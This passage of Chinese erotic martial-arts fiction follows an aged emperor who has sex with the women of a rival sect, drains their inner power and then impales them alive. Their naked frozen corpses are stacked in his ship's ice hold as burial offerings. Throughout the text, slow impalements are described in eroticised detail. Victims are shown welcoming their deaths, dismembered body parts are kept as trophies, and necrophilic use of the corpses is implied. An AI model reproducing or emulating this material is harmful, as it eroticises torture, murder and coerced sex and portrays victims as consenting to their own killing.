    和刚才不同的是,这次杨坚有意放缓了穿刺的速度,让端木秀芸能有充分的时间好好品尝穿刺杆慢慢穿透她身体的那种难以言喻的奇妙感觉。 


    而对被杨坚穿刺的端木秀芸来说,现在她还活着的意义只在于让杨坚能尽情的欣赏她在穿刺杆上蠕动、挣扎的凄美,至于她年轻美好的生命其实在穿刺开始的时候就已经结束了。

穿刺杆在刺破了端木秀芸的胃后钻进她的食道里,弄得她喉咙痒痒的,却怎么也说不出话来。杨坚估算了下长度,便轻轻托起秀芸尖尖的下巴,同时穿刺杆温柔的向前一推,锋利且闪着寒光的尖端便从端木秀芸娇艳的两片红唇之间露出来,继续前进了一尺左右方才停下。


    又一次完成穿刺的成就感令杨坚的心情分外的愉悦,当下抱着端木秀芸来到为她准备的纱帐里。先在秀芸浑圆的雪臀上拍了一下,杨坚才把穿刺杆竖起来插进木几的圆孔里。由于留在端木秀芸臀外的穿刺杆还有好长一截,杨坚不得不抓住她的柳腰,将她的身体向下拉扯——看着端木秀芸峰峦起伏的曼妙玉体围绕着穿刺杆蠕动颤抖,两条修长雪白的美腿凌空曲伸踢蹬,这场面实在充满了致命的诱惑! 



    晨曦,琼花林中。 


    树影婆娑,鸟鸣阵阵,“嘤嘤”之声如同佳人拨动琴弦一般悦耳。


    被杨坚弄醒的流风倾月懒洋洋地伸着懒腰,曼妙的腰肢显得纤细而匀称,白皙的肌肤如雪一般晃着眼睛。她身上除了一袭透明的轻纱之外再无它物,骄傲隆起的雪峰和峰顶诱人的两点嫣红尽入杨坚眼中。 

    依然迷迷糊糊的流风倾月小手掩住了嘴儿,娇憨的打了个呵欠,朦胧的眼睛带着慵懒的睡意,那醉人的双颊泛着薄薄的晕红,在晨光之中,仿佛是仙子一般,让杨坚一时间看得呆住了,享受着她惊心动魄的美丽。 


    感受到男人的视线,知道他的目光正落在自己的身上,流风倾月娇羞无限,双颊晕红生春,脆生生地白了他一眼,嗔道:“不许偷看!”


    杨坚毫不在意的微微一笑,很自然地将她拉到了怀中,一手围着她的娇躯,一手抚着她的发丝,一双色眼,目不交睫地瞧着她迷人的脸庞,胯下的凶器,登时硬挺如铁。


流风倾月立时查觉了他的变化,怯怯的低声望着他道:“陛下……臣妾……”

杨坚充耳不闻,只是盯着她的俏脸却什么都没有说。

流风倾月无奈的轻声道:“臣妾愿为陛下侍寝。”说着用小手轻轻牵引着它:“进来吧。” 


此话一落,流风倾月便觉得玉门给杨坚慢慢逼开,接着那像火焰一般炽热的硕大凶器便一寸寸望里深进,把她紧紧闭合的花茎全然填满。依然感觉有些胀痛的流风倾月勉力配合着杨坚的动作,一双凤目则情深款款的望着这个夺去她贞操的老皇帝,一股血肉相连生死与共的幸福感觉莫名自她心底涌现,心想即使是为他殉节而死,也算死而无憾了。


杨坚一双的色眼,同样没有离开过她,见流风倾月娇喘绵绵,犹如燕语莺啼,秋波频盻,着实美极了。

如此一弄,足足有半个时辰,一边兴云布雨,一边采啜功力,把个流风倾月弄得四肢绵软,全身发热。杨坚也觉适可而止,不忍过甚,当即靠下身躯,把流风倾月拥在怀中,交股相拥,稍作休息。

    流风倾月悠悠张开美目,微不可查的瞥了一眼床头架着的琼花穿刺杆,低声道:“陛下可是要穿刺臣妾?臣妾这就遣人准备。” 


    “呵呵,月宫自你之下所有美人已皆被穿刺,即使现在还没断气的美人也无法行动,你已无人可供差遣。暂留你不予穿刺,倾月你暂时随侍在朕的身边吧。朕昨夜收到了飘渺宫的邀请信,待朕寻得那信使便可出发。” 


    流风倾月想到自己月宫中全部姐妹都已被穿刺处死,可是至死仍然都对杨坚死心塌地。她不由在心中哀叹,为了那虚无缥缈的名分,杨坚天朝皇帝的身份再加上一张甜嘴就可以把所有的女人都哄得服服帖帖,即使连年龄上的巨大差距都不能阻止少女们飞蛾扑火一般的爱意,自己宫里的姐妹们包括自己哪个不是被他连哄带骗的失身给他,最后连命也赔上了。她知道,南华月宫月宫的命运,将在飘渺宫南宫重演。







    飘渺宫南宫。

    宫主云清掩月一夜未眠。她芳心忐忑,一向办事干净利索的执事南宫雨夣迟迟未归,究竟是她遇到了什么意外,难道还是皇帝杨坚眼高于天不愿移驾垂青?若是后者后果将极为难堪,一旦传扬开去飘渺宫会颜面无存。


    期期艾艾之间天色已经微明,云清掩月身上披着一件乳白色的真丝纱衣掩着樱唇打了个哈欠伸了个懒腰,虽有倦意却无睡意。薄纱之下是她曼妙婀娜的娇躯,她那高耸骄傲的双峰配上盈盈一握地柳腰,还有丰腴浑圆的雪臀和修长白皙的玉腿,即使与月宫最为美艳的长老彩霞剑慕容烟霞相比也难分伯仲。


    晨曦中,海面上烟波妖娆雾气升腾。一叶轻舟渐渐闪现,正是众人望眼欲穿的终于雨夣回来了。


    云清掩月和十大长老迎上了姗姗来迟的雨夣。雨夣看上去相当的疲惫,但是眉宇间却难掩她的兴奋之情。看到她的神态,云清掩月明白已大功告成,心中的一块石头才算落了地。


    “宫主,我已拜见陛下,陛下把信收下了!”雨夣的话使南宫的女弟子们一片欢腾,整个飘渺宫变顿时成了欢乐的海洋。


    雨夣喝了一口水,然后用自己的纤纤素手抹了一下嘴角。看到自己的小手,想起昨夜曾被皇帝杨坚将玉手拉入掌中肆无忌惮的细细把玩过,她不禁玉面飘红。


    “月宫现在已经完了,我只赶了个尾声。在我登岛后很顺利的便找到了皇帝杨坚所在,只是他正忙于临幸月宫中的美女,实在不便现身相见,以致耽搁了一天。我在月宫中看到的多是宫廷的女官宫女,赫赫有名的月宫十大长老已不复存在。我亲眼看到了月宫最后的三位长老,有云长老公孙绺云,玉长老林黛玉,还有霞长老彩霞剑慕容烟霞。她们都被穿刺好了,只是还没有咽气。全宫上下现在除了宫主流风倾月外,都已被穿刺掉了。这是我在琼花林看到的。”


    “什么?你竟然深入到月宫的琼花林?”云清掩月不禁心中一惊险些脱口而出,那可是月宫戒备森严的禁地啊,雨夣怎会有这样的胆量。随即她便明白既然月宫女弟子都已被全部穿刺,而宫廷的女官宫女根本拿琼花林不重视,也无力阻挡武功精深的雨夣,雨夣自然是来去自如了。


    “宫主,我在月宫还见到一个大美人,就是咱们的冤家对头霓霞宫北宫长老飘渺仙子端木秀芸。嘻嘻,现在她也交代在月宫了,还是陛下亲手穿的,她在穿刺杆上蠕动、挣扎的姿势好凄美呢。不过她真够厉害的,穿刺杆穿进后庭一大截了,她还能发觉我的踪迹,右手向身后一探就将深入后庭六寸多的穿刺杆拔了出来,拿在手里当武器指向了我的藏身之处。要不是她发现了我,我还不知道什么时候才能把信呈送给陛下呢。”


    “那陛下何时大驾光临呢?”云清掩月说出了南宫上下最为关心的问题,雨夣却兴犹未尽。


    “这个陛下可没说。我曾听宫女们说过,美女在被穿刺后还能存活几天,飘渺仙子端木秀芸、云长老公孙绺、霞长老彩霞剑慕容烟霞和她们的贴身侍女,都是在昨天穿刺的。对了,玉长老林黛玉可足足坚持了五天时间居然还没断气,她的贴身侍女都已被送入龙舟中的冰库冷冻防腐,可她还是硬挺着不肯咽气。估计端木秀芸她们至少也能挺个三两天吧。要等她们咽气以后才会被送入龙舟,还有月宫已经完了,陛下还需要清理月宫多年积攒的家当,这也需要些时日的。信是送到了,陛下什么时候来可不好说。”


    雨夣难为情的笑了笑,皇帝杨坚的确是没给予准确的答复啊。


    “你这个信使是咋干的,连个准确的回信都没有。好了,先去歇息一会吧。”云清掩月笑道,众美人带着兴奋喜悦的神情慢慢散去。


    “宫主,既然陛下已收下邀请信,为示隆重宫主应亲临月宫相迎陛下为宜。”心思缜密的南宫长老逍遥仙子玉浮萍说道。“月宫现在已成飘渺云烟,好想看看流风倾月现在是什么样子。”逍遥仙子玉浮萍是飘渺宫南宫现任十大长老中最为年轻的长老,芳龄十八靓丽动人,她一头黑缎般柔软地秀发批落在香肩,瓜子脸儿轮廊分明,灵活生动的一双眸子顾盼生姿。


    云清掩月最喜欢逍遥仙子玉浮萍这个童心未泯的小长老了,自小就与她云清掩月情同姐妹。玉浮萍自幼便酷爱音律,一直对月宫至宝七炫月韵琴垂涎三尺,可因两宫关系不融未能亲眼相见,这也成为她心中一大憾事。


    “此言甚是。陛下乃九五之尊,本宫亲迎是应当的。浮萍,你就陪本宫去一趟,收拾收拾明晨动身。 想我飘渺宫南宫四百余女弟子个个花容月貌,超过月宫三倍有余,难不成还盖不了月宫的风头?”云清掩月嫣然一笑。






    水雾渺渺,一艘花船渐渐闪现,船头俏立着飘渺宫宫主云清掩月和逍遥仙子玉浮萍这个童心未泯的小长老,飘渺宫执事南宫雨夣侍立在身后。


    “前面已是月宫,看!那就是皇帝杨坚的龙舟,还有官船船队。”雨夣说着扬起手臂一指。月宫真的已经灰飞烟灭了,要是往月宫的船队早就迎上来了。而现在,月宫的船队仍静静的和官船一起停泊在那里。


    “划过去。”飘渺宫宫主云清掩月一声令下,花船在静静的靠近,船首破开水波的哗哗声在今日的清晨格外撩人心扉。


    浩大的船队似乎没有几个人值守,直到花船靠近了船队,一个身着官服的女官才睡眼惺忪的跑上了船头。看到来船似乎没有恶意,她才把提到半空的心放回了原处。


    “嗨!来船报明身份!此乃官方禁地,闲杂人等一概严禁靠近,违者格杀勿论!速往别处停靠!”她揉了揉眼睛双手掐着腰居然打起了官腔。


    “我乃飘渺宫宫主云清掩月,昨日派遣信使已送达邀请信,现本宫亲赴月宫恭迎陛下。还望大人通融一二,禀报陛下容花船停靠。”云清掩月优雅而又不失风度的弯腰福了两福。


    那身着官服的女官闻听不敢怠慢,她急命手下登岸速报,深恐坏了杨坚的好事。云清掩月见此不禁莞尔一笑。




    身为宫主的流风倾月不但体态婀娜,兼且肤光胜雪,一对玉峰,浑圆高耸,左右均匀,衬着胭红挺突的雪岭双珠,令人馋涎欲滴。更令杨坚情难自制的是随着流风倾月越来越急促的呼吸,那完美的乳峰不住幻出阵阵迷人的乳波,再看她那柔嫩艳红的秘处,两片玉唇,犹如仙桃般粉红娇艳,没有半点瑕疵。只因细看流风倾月那具粉装玉琢的娇娜女体,连杨坚这等摧花无数的圣手都不得不承认,流风倾月是他曾见过的女子中最完美的人儿之一,那份娇艳犹胜慕容烟霞几分。除了因为流风倾月月宫中全部姐妹都已被穿刺处死之外,所以才由从前天夜晚到今天清晨一直在由她为杨坚侍寝。


    一天两夜下来连续的胡天黑地把个流风倾月直弄得娇喘绵绵,犹如燕语莺啼,秋波频盻,她那娇艳的样子着实美极了。每次欢爱杨坚都足足弄了足有半个时辰之久,一边兴云布雨,一边采啜功力,直把个流风倾月弄得四肢绵软。那杨坚在得到月宫诸女的元阴和功力的滋补之后欲望极盛,丝毫没有交欢后的疲态,而且乐在其中连战不疲。流风倾月的处子元阴早已被杨坚采啜,她那一身精纯浑厚的内力也被杨坚源源不绝的采啜吸纳殆尽,每次交欢都是把她干到满面潮红呼吸急促的瘫软在床上昏死过去。身为宫主的流风倾月勉力承欢前庭后窍都被杨坚玩了个遍,虽然身材惹火貌如天仙但向来喜新厌旧的杨坚一天两夜下来竟渐渐觉得有些腻了。


    天色微亮之时,流风倾月感觉到自己的玉门再次被杨坚慢慢逼开,她知道刚刚要过不久的杨坚又想要了。经过这连番的辛勤开垦,杨坚自然将流风倾月全身各处的敏感点尽数发掘掌握,玉门处那羞答答的小豆豆是她最容易兴奋的地方。


   “爱妃不穿衣服的样子真漂亮。”杨坚这句在不同美人耳畔说过无数遍的甜言蜜语,同样将流风倾月说的身心俱醉魂不守舍,浑然不觉那像火焰一般炽热的硕大凶器一寸寸向里深进,把她紧紧闭合的花茎全然填满。尽管感觉有些胀痛的流风倾月仍勉力配合着杨坚的动作,那一双凤目情深款款的望着这个夺去她贞操的老皇帝,一股血肉相连生死与共的幸福感觉竟然莫名的自她心底再次涌现。


    不多时,流风倾月便被杨坚再次勇猛的送上了情欲的最高峰,在娇躯一阵急颤之后心甘情愿地配合着让杨坚源源不绝的采啜吸纳缀取她所剩无几的精纯内力毫无抗拒地抽离内腑。整个身心都被杨坚臣服的流风倾月如今再也不是什么宫主而是一个普普通通的妙龄女子,即使现在就为他殉节而死也是死而无憾心甘情愿。


    想到看着自己的姐妹依次被穿刺处死时个个都对杨坚死心塌地无怨无悔,她曾经笑话过她们并在心里哀叹,那杨坚天朝皇帝的身份再加上一张甜嘴边可以把月宫所有的女人都哄得服服帖帖,年龄上的巨大差距也不能阻止少女们飞蛾扑火一般的爱意,自己宫里的姐妹们哪个不是被他连哄带骗的失身给他,最后连命也赔上了。男女之间一旦突破了最关键的地方,往往女方就会变得千依百顺,尤其是初次经历个中美妙的少女来说,这种诱惑的程度更是被提高了许多,而杨坚魔功深厚更是把这种诱惑提高到了极致。 就连自己也未能脱俗,杨坚这色魔对付自己不也是手到擒来?只怕自己穿刺之时比烟霞还要不堪呢。为了那虚无飘渺的名分,整个月宫就这样交代在杨坚的手中,这让流风倾月不由感到一阵莫名的悲哀。


    杨坚看见风情万种的南华月宫月宫宫主流风倾月一时竟变得神态黯然,他一阵不悦,盯着她的俏脸没说什么,却不由把脸色沉了下来。流风倾月觉察到自己的失态,她内心不由一阵惶恐。若不是看在自己贵为宫主和云雨尽兴的份上,怕是要当场降罪呢。真是伴君如伴虎,幸好一个匆匆赶来的宫女给她解了围。


    “报!启禀陛下,飘渺宫宫主云清掩月乘坐花船前来恭迎陛下,现已到月宫岸边。”宫女规规矩矩跪伏在地,由于跑的太急,她满头大汗,气息都没有调匀。


    “哦?”杨坚闻听不由大喜。“朕这就起驾前去看看。传言那飘渺宫宫主云清掩月容颜气质不输你南华月宫月宫宫主流风倾月,待朕看过便知是不是言过其实。”


    杨坚放开怀中的流风倾月,下床时随手在那床畔处的木几上轻轻一拍,只见那紫檀木做的坚实的木几几面上居然出现了一个圆圆的小孔洞。那孔洞的切口边缘光滑,大小正好可以插入穿刺杆。杨坚已把采啜的月宫上下女弟子的功力收为己有,他的内力修炼已至化境,远不像他本人那样长得像个枯瘦无力的老头。


    即使贵为陛下,也免不了喜新厌旧。如今旧人未去,杨坚便已亟不可待了。一股醋意涌上流风倾月的心头,可是她不敢再表现出来。杨坚的随手一拍便是对她方才走神的警告,若是杨坚知道了自己方才的心思,只怕那孔洞便已开在了脑门之上。被采啜了九成功力的自己早已不是杨坚的对手,杨坚现在已是绝顶的内功高手。


   “倾月,伴朕护驾前往。”听到杨坚的吩咐,流风倾月赶紧披上了那一袭近乎透明的曼妙轻纱。要去见的都是女人,流风倾月也不在乎走光了。更重要的是,这身轻纱更能展示自己骄傲隆起的雪峰,使曼妙的腰肢显得纤细而匀称,凸显出自己惊心动魄的美丽。




      俏立船头的飘渺宫宫主云清掩月和童心未泯的小长老逍遥仙子玉浮萍没想到向来高雅的南华月宫月宫宫主流风倾月竟然会以这样一身惹火的装扮出现,平日相随身边的月宫十大长老不见一个,现在已是孤家寡人,完全没有了宫主的威严。飘渺宫执事南宫雨夣竟笑出声来,云清掩月不由微嗔,雨夣赶紧低下了头。


    “飘渺宫宫主云清掩月参见陛下。”云清掩月身上披着一件乳白色的真丝纱衣,与流风倾月披着的曼妙轻纱相映成趣。薄纱之下是她曼妙婀娜的娇躯,那高耸骄傲的双峰配上盈盈一握地柳腰,还有丰腴浑圆的雪臀和修长白皙的玉腿,难掩那身材出奇的火爆。雪肤粉嫩,青丝黑亮,自然地垂到了浑圆的臀部,更加衬托出她优雅的气质。云清掩月黛眉清细身姿婀娜,一双美眸顾盼之间气度雍容华贵。云清掩月丝毫未输流风倾月,她那盈盈一跪使得杨坚龙颜大悦,大礼参见言下之意自然是让他为所欲为。


    “平身。引花船靠岸。”杨坚一挥手,放眼望去花船上的宫女个个都是花容月貌姿色美轮美奂不在月宫之下,这送上门来好事怎能不让他乐开怀呢。




     眼见杨坚的眼神落在云清掩月身上,感受到杨坚冷落的流风倾月虽有些不忿,但很快她便释然啦。想那绝色少女飘渺仙子端木秀芸被制住四肢玉体,任那年老德薄的皇上肆意把玩亵弄,直至贞操被毁落红片片,甚至云雨数度之后,好色的皇帝还是没有询问怀中佳人的芳名,直到杨坚将殉葬的名册送到她的面前,她才娇嗔薄怒的自己在名册上留下了她的名字端木秀芸。而如今,飘渺仙子端木秀芸已被杨坚亲手穿刺,她还在穿刺杆上蠕动呻吟闭目待死却毫无怨言,可叹她的芳名绝色在杨坚眼中很快便是过眼云烟。月宫女子的国色天香在那皇帝杨坚眼里视若草芥,苦心修炼的内功被他吸缀,却死心塌地心甘情愿都被穿刺处死。别看飘渺宫现在风头正劲,有杨坚这等摧花圣手在此,步月宫的后尘那是板上钉钉的事了。


    直到花船靠岸,一直跪伏在船头的云清掩月才起身款款下船。杨坚看到跟随在云清掩月身后的飘渺宫执事南宫雨夣,认出她便是昨夜送信的信使,想起把玩她那小巧玉手的温柔不由向她微微一笑,而薄脸皮的雨夣的俊脸立时飘红。


    云清掩月再次跪伏在杨坚面前禀明了来意,还送上了飘渺宫上下的花名册。杨坚见那飘渺宫的宫女数量远超月宫数倍之多,又听云清掩月说宫女的姿色内功绝不在月宫之下,不由心花怒放。


    “朕尚需在月宫盘桓数日,你等可先在月宫安歇,月宫的房舍楼榭现在多已闲空。待月宫女子全部归天送入龙舟冷藏之后,朕方可起驾。”杨坚发号施令俨然已是月宫的主人,南华月宫月宫宫主流风倾月却没有表现出半点不忿。


    女官在前正要引领登岛,云清掩月却再次跪伏在杨坚面前。


    “启禀陛下,请允许本宫登龙舟一瞻月宫女弟子穿刺冷藏后的芳容。因为这也将是飘渺宫上下的归宿。恳请陛下恩准。”


    正在兴头上的杨坚格外大度,这龙舟冰库除了运送穿刺处死美人儿的女官宫娥,就连南华月宫月宫宫主流风倾月都无缘得进,现在他却痛快的同意了。



    身上只披着一件乳白色的真丝纱衣云清掩月一踏入龙舟冰库,她便不由素手掩鼻打了个喷嚏,尽管运起内功抵御但白皙粉嫩的肌肤还是立时便冒起了一层细密的鸡皮疙瘩。沾了云清掩月的光才能够活着时有缘得进的流风倾月因苦心修炼的内功被杨坚吸缀九成以上,此时更是不堪,她难耐船舱内那千年玄冰造就的寒冷,直冻得哆哆嗦嗦,不堪的样子连浮萍和雨夣都比不上。这哪还像是堂堂的南华月宫月宫宫主呢?


    幸亏众人的目光都被那整整齐齐堆积在一起的一个个白花花的赤裸尸堆给吸引住了,这才没有让流风倾月过分的难堪。由于杨坚要在这七海之上巡游数月之久,兴之所至也许还会对冰库中存放的艳尸临幸一二,所以月宫上下皆是从后庭穿刺。被穿刺在穿刺杆上的月宫女子两条白嫩的大腿羞耻的大大分开,那女儿家的最羞处一览无遗的展示在所有人面前。若是她们还有知觉,此时还不都羞红了脸?而此时的她们面色白净鬓丝挂霜面容安详,扬着修长的脖颈穿刺在穿刺杆上。尽管撑满嘴巴的穿刺杆让那秀丽的面孔微微有些变形,但那峰峦起伏的曼妙玉体围绕着穿刺杆却让美妙的女性曲线有了完美的展现。虽然穿刺后枯坐数日方得解脱,但那晶莹的雨露顺着穿刺杆淌下后形成的亮闪闪的结晶体,表明了她们青春的胴体直到最后断气的时刻仍处于无限的悸动之中。


    杨坚的海上巡游收获颇丰,活体穿刺的月宫女子仅仅只是藏品中的一部分。每个白花花的赤裸尸堆都码放着五横五纵整整二十五具曼妙的娇躯,这样的赤裸尸堆在船舱内一眼望去已是络绎不绝。每个妙龄女子从樱唇穿出的穿刺杆上,都挂着一张记录着她们个人信息的小卡片,那是她们的身份证明。看那悬挂在赤裸尸堆上方的标签,东海上那小有名气的玉女门派琼花宫、玉女宫、仙月宫、神玉宫、霓彩宫赫然在列,不言而喻这些门派此时已经灰飞烟灭。有些赤裸尸堆上方悬挂多个标签,表明这个赤裸尸堆源自多个不同门派的妙龄女子。


    更加吸引眼球的是那数堆不成形的尸块,或是节节藕段般白皙粉嫩的修长玉腿,或是晶莹雕玉般连带着芊芊素手的纤细上肢,或是面容各异脑后拖拽着飘逸长发的臻首,或是形态大小各有所妙馒头般玉乳,还有毛发色泽各异疏密不同那蜿蜒肉缝诱人遐想无限更令女儿家脸红不已的玉蚌。这些尸块拥有的一个共同之处分明是取自不同妙龄女子的不同部位,她们或者是因为在杨坚临幸前因不同的际遇失去了处子之身,或者是因为容貌身材一般没达到杨坚陪葬皇陵的要求,或者是因为在交欢之时没得到杨坚的欢心,故因之而失去了活体穿刺的资格,但却选取了她们最为骄傲出色的部位,让她们那失落的心灵得到些许慰藉。这也是因为龙舟冰库容积所限不得已而为之。怎能想象以杨坚六十有余的垂暮之年,却连御数百身负精湛内功的妙龄女子却乐在其中,皆因杨坚采啜吸纳其苦心修炼的内功所致。


    悬挂着月宫标签琴的赤裸尸堆已有六堆之多,最后的那一堆赤裸女尸仍在继续堆积中。月宫琴长老展娉婷赫然码放在标注着月宫一号标签尸堆的外侧的最上层,虽然她胸器伟岸玉蚌肥厚,可在那浩瀚的白花花的海洋中却并不怎么显眼,再加上穿刺杆把嘴巴撑开导致秀气的面庞有些变形,若非云清掩月注意到了挂在穿刺杆上的卡片,她差点没认出这个活着时的老对头。


    云清掩月还是第一次亲眼得见月宫琴长老展娉婷的赤裸胴体,一时间竟与之前那个内功精湛英姿飒爽的女中豪杰没对上号。现在的琴长老展娉婷再无一点英气,她摊手摊脚躺在那里,臻首后仰,星目微闭,长长的睫毛上挂着霜花,饱满的双乳依然高耸坚挺,大张着的两腿间暴露着的玉蚌仍带着一抹嫣红。在她身下是她贴身的侍女,与她保持着同样的姿势形态,现在她月宫琴长老的身份已毫无意义,她们拥有的共同身份都是皇帝杨坚的陪葬皇陵的殉葬品。


    琴长老展娉婷那饱满的乳峰浑圆豪放,最尖处那两颗玛瑙还带着醉人的红色,嫣红的乳尖处牙齿咬过的痕迹清晰可辨。不用说这是杨坚肆意妄为留下的杰作。云清掩月不由探身伸手触摸,入手处只觉得满手冰凉,富有弹性的乳峰已变成了冰坨坨。琴长老展娉婷现在已是再无一点体温遍体僵硬,就连那大张着的两腿之间的玉蚌也再无一点弹性。看看琴长老展娉婷现在的样子,不用说有众多鲜活美女等待享用的杨坚已再无临幸的可能。


    “不要侮辱她!”月宫宫主流风倾月见云清掩月伸手触摸琴长老展娉婷那赤裸的尸身,她不由心急娇斥出声作势欲扑,可那哆哆嗦嗦的声音却没有了往昔的威严,她的身形也再无往昔的轻灵。


    “没有啊!”云清掩月嫣然一笑百媚生,那笑意如花的面庞实在看不出一点的恶意。


    “你!”


    流风倾月一时窘迫不已,而杨坚却笑吟吟的看着龙舟冰库中那整整齐齐堆积在一起的一个个白花花的赤裸尸堆,他的心中充满了成就感。


    “陛下!新人已至,足可接替臣妾为陛下侍寝。请陛下即刻穿刺臣妾,让臣妾得以满足与月宫弟子团聚共同陪葬皇陵的心愿。”


    流风倾月盈盈跪拜在杨坚面前,她跪伏在那里曼妙的身段凹凸有致,玉颈修美白皙肌肤似雪,神态虽然略显委顿却依然妩媚娇艳。她是颇识情趣的,一天两夜下来,自己那美艳的娇躯已对杨坚没有了任何的神秘,况且自己全身的精髓也已被杨坚榨干,被穿刺处死已是板上钉钉的事。若非杨坚贪恋自己的美色和精纯深厚的内功,更重要的是还有作为需要自己引路前往飘渺宫的不备之需,否则杨坚也不会把自己留到现在。因为原来的计划就是流风倾月在由杨坚破身验红之后便立即穿刺处死的,次序尚在飘渺仙子端木秀芸之前,只是由于飘渺宫执事南宫雨夣的突然出现这才打乱了原来的计划。如今美色已倦内功榨尽,飘渺宫宫主云清掩月又亲自登岛恭迎圣驾,她的存在对于杨坚来说已没有了意义。自己现在这样主动提出不但给杨坚留足了面子,还能显示出自己月宫宫主的气度。若是杨坚下旨令宫娥女官将她穿刺处死,她便再无与杨坚亲近的机会。


    因为流风倾月深知喜新厌旧的杨坚所玩腻的月宫佳人都是被即刻穿刺,众多的月宫美女更是在一亲芳泽采缀落红吸纳缀取苦苦修炼的内力后即被穿刺处死,完成穿刺后玉蚌处点点落红犹存,她们中的绝大多数仅有一次被临幸的机会。


    视美女如草芥的杨坚即使是临幸娇艳绝美的月宫十大长老,可叹她们也都是临幸次日便被穿刺处死,令流风倾月扼腕的是她们中竟然谁都没有超过临幸五次。其中,包括琴长老展娉婷和玉长老林黛玉在内的八大长老尤为可叹,竟然和她们的侍女一样仅仅只被临幸了一次。云长老公孙绺云运气略好,她前后共被临幸了三次,而最后一次临幸竟然与彩霞剑慕容烟霞一样是在穿刺杆上。彩霞剑慕容烟霞,号称南华月宫的第一媚女,同样未能摆脱被临幸后次日便被穿刺处死的命运,包括被穿刺之后她前后共被临幸五次,被临幸的次数名列月宫十大长老之最。严格来说慕容烟霞的临幸次数只能是四次半,其中的半次是她在接受杨坚穿刺穿刺杆尖端顶到胃部之时,被慕容烟霞穿刺时的种种媚态刺激的性欲勃发的杨坚一点也不怜香惜玉,那根灼热的凶器竟分开她娇嫩的红唇,顶开她雪白的贝齿,直挺挺的插进她喉咙深处。流风倾月红霞满面的抱住正干得兴致勃勃的杨坚,她实在不忍心让慕容烟霞一边承受穿刺的酷刑,一边还要解决杨坚的肉欲,自愿代替她侍寝,因此只能算作半次。


    不知是幸运还是不幸的飘渺仙子端木秀芸,为给家师祝寿前来借月宫至宝七炫月韵琴一用,因为池畔抚琴遇到杨坚,自然是难逃杨坚的魔手同样是落个血染花茎,那一身精纯的内力也便宜了杨坚。她绝色美艳峰峦起伏的曼妙玉体竟使杨坚前后临幸四次,仅仅少于慕容烟霞一次,而且还是被杨坚亲手完成穿刺的,这也足以使端木秀芸聊以自慰了。


    “爱妃莫急,朕回去即可把你穿刺,亲自服侍你坐桩。” 杨坚龙颜大悦,对待愿意为他殉葬而死的女子,他还是很温柔的。


    “臣妾领旨,谢主隆恩!”跪伏着的流风倾月眼圈一热,她知道月宫弟子修成正果的代价就是那辛苦创建的百年基业就在今朝灰飞烟灭。


    龙舟冰库的库门打开,女官宫娥们又抬进了一批刚刚断气的月宫女弟子,流风倾月关切的注视着她们被小心地码放到悬挂着月宫标签的第六堆赤裸尸堆上。曾经的长老已经失去了那优越的身份,流风倾月找到夹杂在另外几堆赤裸尸堆中的几大长老,她们竟被码放在赤裸尸堆的不同位置。安排码放位置时完全是按照抬入龙舟冰库的先后顺序,那曾经的显赫并没有给她们带来最后的照顾。


    流风倾月知道自己再来的时候也会是这样,她想最后再看看那些朝夕与共情同手足的姐妹们。终于,她在第六堆赤裸尸堆上找到了曾被杨坚在穿刺杆上临幸的云长老公孙绺云,她那被贯穿在穿刺杆上的赤裸尸身已叠压在尸堆里面,若非细心查看很真难找到她。公孙绺云断气的时间不会太久,因为她的尸身尚未完全冻硬,那圆润的乳房还有着些许的弹性。碰巧的是第五堆赤裸尸堆上玉长老林黛玉的位置正与公孙绺云遥遥相对都是处于赤裸尸堆的边缘,身上身下都是和她们肌肤相亲的月宫女弟子。


    “坐桩的月宫弟子还有多少?”杨坚捻弄着胡须笑吟吟的发问,他的手已在不老实的大肆轻薄上次落荒而逃的南宫雨夣。


     “启禀皇上,尚在坐桩的还有长老彩霞剑慕容烟霞,飘渺仙子端木秀芸,另有月宫弟子一十八名。观其情形预计今日其中大部分将会断气搬入龙舟冰库,最迟者恐难撑过明日黄昏。”


    一女官翻着殉葬名册小心翼翼的回禀。


    “慕容烟霞,端木秀芸,此二女均乃前日由朕亲手穿刺,嘿嘿,都是不可多得的美貌佳人啊。起驾回宫!”杨坚哈哈大笑,他似乎正在回味起穿刺美人的乐趣。



    女官宫女为飘渺宫宫主云清掩月及随从诸女安排住处,堂堂的南月华宫月宫竟然会被鸠占鹊巢,流风倾月看在眼中却无半点不忿。曾经的一切转眼间已是过眼云烟,流风倾月心中一片淡然。


    清晨的阳光穿过郁郁葱葱的琼花树,也洒在了空空荡荡的穿刺过全部月宫佳丽们的刑场上。在那林中的刑场之上七座穿刺台燕翅展开,此时正跪伏台上承受穿刺之刑的便是南华月宫月宫宫主流风倾月。杨坚专为她准备了一根雕琢着琼花的穿刺杆,这可是流风倾月自己要求的。已经除去全身衣物不着寸缕的流风倾月温顺的跪伏在穿刺台上,而杨坚则乐呵呵的右手提着穿刺杆左手灵巧的分开那浑圆白皙的臀瓣,开始将穿刺杆锋利的尖端插进那粉嫩的菊门。 现在这根制作精美华丽的杀人利器尖端已经侵入了后庭,杨坚操纵着这根穿刺杆奋力前行。粗大的穿刺杆在身体里钻探前行的滋味自然是痛苦无比,即使南华月宫月宫宫主流风倾月这般的女中豪杰也难免香汗淋漓黛眉紧皱。


    “快好了,快好了,再忍忍……”流风倾月在自己安慰自己,一张俏脸上汗珠在不时滴落。流风倾月自从杨坚下令处死月宫中的女子时就在这琼花林里送姐妹们上路,这一个月来她曾目不转睛的看着宫中的姐妹们依次宽衣解带从容赴死,每次总是从一根根华美精致的穿刺杆笔直的顶在姐妹们那近乎完美的后庭花儿开始,然后就是那穿刺杆一寸寸的进入姐妹们的身体,最后穿刺杆的尖端又会从姐妹们的嘴中一寸寸的伸出来。这整个过程已经在流风倾月的面前重复了无数次,只不过今天处死的便是贵为宫主的自己。 


     流风倾月用自己的两只芊芊素手稳稳支住地面,仰着脖子挺起腰部保持着后庭与樱口两点平行的姿势一动不动。她知道这是穿刺的最佳姿势,保持着这样的姿势会便于杨坚的操作。对极喜穿刺美人的杨坚来说,因为每位美人的身体都不一样,所以每一次穿刺都是新鲜的尝试,而杨坚所追求的则是每一次的穿刺都能完美的成功。现在的杨坚正专心穿刺南华月宫月宫宫主流风倾月,她的穿刺成功则标志着月宫的灰飞烟灭。


